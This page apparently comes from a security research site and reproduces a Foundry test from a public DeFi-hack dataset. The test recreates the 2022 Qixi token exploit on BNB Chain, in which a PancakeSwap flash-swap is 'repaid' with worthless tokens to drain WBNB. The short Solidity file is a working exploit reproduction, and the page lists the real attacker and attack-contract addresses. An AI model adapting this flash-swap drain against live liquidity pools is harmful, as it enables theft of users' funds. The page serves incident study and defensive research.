Public reproduction file

src/test/2022-08/Qixi_exp.sol

Public reproduction file for dataset entry Qixi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-08/Qixi_exp.sol31 lines

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo -- Total Lost : ~6.8 BNB
7// TX : https://app.blocksec.com/explorer/tx/bsc/0x16be4fe1c8fcab578fcb999cbc40885ba0d4ba9f3782a67bd215fb56dc579062
8// Attacker : https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f
9// Attack Contract : https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb
10// GUY : https://x.com/8olidity/status/1555366421693345792
11 
12contract Exploit is Test {
13    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
15    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
16    IERC20 qixi = IERC20(0x65F11B2de17c4af7A8f70858D6CcB63AAC215697);
17 
18    function setUp() external {
19        cheats.createSelectFork("bsc", 20_120_884);
20    }
21 
22    function testExploit() external {
23        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
24        Pair.swap(0, WBNB.balanceOf(address(Pair)) - 1e7, address(this), bytes("0x123"));
25        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
26    }
27 
28    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
29        qixi.transfer(address(Pair), 999_999_999_999_999e18);
30    }
31}

Analysis

Dataset entry

Public Foundry test for “Qixi” (2022-08-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
src/test/2022-08/EtnProduct_exp.solSame month in the dataset · 108 lines
src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x2723e1f6a9a3cd003fd395cc46882e4573cb249f
Attack Contract
0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb

File record

Name: Qixi
Path: src/test/2022-08/Qixi_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 83f54f3c7574b2d7a5574120b87ed5d2f9dbbaff
Language: Solidity
Size: 32 lines
Date: 2022-08-03
Licence: ThreatWire editorial text
Retrieved: 2026-10-19

Provenance

Path src/test/2022-08/Qixi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 83f54f3c7574b2d7a5574120b87ed5d2f9dbbaff, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.